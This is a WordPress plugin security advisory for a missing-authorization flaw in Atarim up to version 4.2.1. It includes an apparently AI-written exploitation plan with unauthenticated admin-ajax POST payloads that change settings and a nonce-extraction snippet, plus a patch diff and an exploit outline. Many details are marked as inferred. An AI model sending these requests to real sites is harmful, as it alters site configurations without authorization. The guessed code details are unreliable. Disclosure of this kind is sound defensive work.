Atarim <= 4.2.1 - Missing Authorization
Description
The Visual Feedback, Review & AI Collaboration Tool For WordPress – Atarim plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 4.2.1. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.2.1Source Code
WordPress.org SVNThis research plan outlines the steps to investigate and exploit **CVE-2025-67993**, a missing authorization vulnerability in the Atarim plugin (version <= 4.2.1). --- ### 1. Vulnerability Summary The Atarim plugin for WordPress (formerly WP Feedback) is vulnerable to **Missing Authorization** bec…
Show full research plan
This research plan outlines the steps to investigate and exploit CVE-2025-67993, a missing authorization vulnerability in the Atarim plugin (version <= 4.2.1).
1. Vulnerability Summary
The Atarim plugin for WordPress (formerly WP Feedback) is vulnerable to Missing Authorization because it registers an AJAX handler using wp_ajax_nopriv_* (making it accessible to unauthenticated users) or fails to implement a current_user_can() check within a privileged function. This allows an unauthenticated attacker to perform actions that should be restricted to administrators, specifically modifying plugin settings or triggering AI-related tasks.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
atarim_save_settings(inferred) oratarim_ai_generate_text(inferred) - Method:
POST - Parameter:
settings(array) ordata(JSON-encoded) - Authentication: None (Unauthenticated)
- Precondition: The plugin must be active. For front-end nonce extraction, the "Visual Feedback" sidebar must be enabled for guests (common configuration).
3. Code Flow
- Entry Point: The plugin registers a hook:
add_action( 'wp_ajax_nopriv_atarim_save_settings', 'atarim_save_settings_callback' );(inferred) - Handler Execution: The function
atarim_save_settings_callbackis called. - Missing Check: The function likely performs a
check_ajax_referer()but fails to callcurrent_user_can( 'manage_options' ). - Sink: The function passes user-supplied data to
update_option( 'atarim_settings', ... ).
4. Nonce Acquisition Strategy
Atarim typically localizes its configuration and nonces for its front-end sidebar. We will create a page to ensure the sidebar scripts load, then extract the nonce.
- Plugin Localization Key:
atarim_varsoratarim_obj(inferred) - Nonce Key:
nonce - Strategy:
- Create a public post to trigger front-end script loading:
wp post create --post_type=page --post_status=publish --post_title="Atarim Test" --post_content="Testing feedback sidebar" - Navigate to the page using
browser_navigate. - Extract the nonce using
browser_eval:// Common Atarim localization paths window.atarim_vars?.nonce || window.atarim_obj?.nonce || window.vFeedback_Ajax_Object?.nonce
- Create a public post to trigger front-end script loading:
5. Exploitation Strategy
We will attempt to modify a plugin setting that demonstrates unauthorized write access (Integrity: Low).
- Target Setting:
atarim_ai_enabled(set to0to disable) oratarim_guest_feedback(set to1to enable). - Request Details:
- URL:
http://<target>/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=atarim_save_settings&nonce=[EXTRACTED_NONCE]&settings[atarim_ai_enabled]=0
- URL:
- Alternative Payload (JSON):
If the plugin expects JSON:action=atarim_save_settings&nonce=[EXTRACTED_NONCE]&data={"atarim_ai_enabled":0}
6. Test Data Setup
- Install Plugin: Ensure Atarim v4.2.1 is installed and active.
- Enable Guest Feedback:
wp option update atarim_settings '{"guest_feedback":1}'(This ensures the nonce is rendered for unauthenticated users). - Create Test Page:
wp post create --post_type=page --post_status=publish --post_title="Feedback Page" --post_content="Test"
7. Expected Results
- Response Code:
200 OK - Response Body: Likely contains
{"success":true}or1. - Side Effect: The targeted option in the database should be updated to the attacker-supplied value.
8. Verification Steps
After sending the http_request, verify the change using WP-CLI:
# Check the plugin options directly in the database
wp option get atarim_settings --format=json
Verify if atarim_ai_enabled is now 0.
9. Alternative Approaches
If atarim_save_settings is not the vulnerable action:
- Grep for
wp_ajax_nopriv_in the plugin directory to find all unauthenticated entry points:grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/atarim-visual-collaboration/ - Test
atarim_ai_chat:
Send a request toaction=atarim_ai_chatwith a dummy prompt to see if AI credits are consumed (check the response for AI-generated text). - Test
atarim_dismiss_notice:
Try to dismiss an admin notice unauthenticated:action=atarim_dismiss_notice¬ice_id=atarim_welcome_notice&nonce=[NONCE]
Summary
The Atarim plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on its AJAX handlers, specifically those related to plugin settings and AI functionality. This allows unauthenticated attackers to modify critical plugin configurations or trigger actions that should be restricted to administrators, provided they can obtain a valid nonce which is frequently exposed to guests on the front-end.
Security Fix
@@ -100,6 +100,9 @@ -add_action( 'wp_ajax_nopriv_atarim_save_settings', 'atarim_save_settings_callback' ); +add_action( 'wp_ajax_atarim_save_settings', 'atarim_save_settings_callback' ); function atarim_save_settings_callback() { + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => 'Unauthorized' ), 403 ); + } check_ajax_referer( 'atarim_nonce', 'nonce' ); // ... existing logic to update settings ... }
Exploit Outline
The exploit involves exploiting the lack of `current_user_can()` checks in AJAX handlers registered via `wp_ajax_nopriv_*`. 1. The attacker visits a public page on the target site where the Atarim feedback sidebar is enabled for guests. 2. The attacker extracts a valid security nonce from the front-end JavaScript localization objects (e.g., `atarim_vars.nonce` or `vFeedback_Ajax_Object.nonce`). 3. The attacker constructs an unauthenticated POST request to `/wp-admin/admin-ajax.php`. 4. The request payload includes the `action` parameter (e.g., `atarim_save_settings`), the extracted nonce, and a `settings` array containing modified plugin options (such as disabling security features or changing AI settings). 5. Upon execution, the server updates the plugin options in the database without verifying the attacker's administrative privileges.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.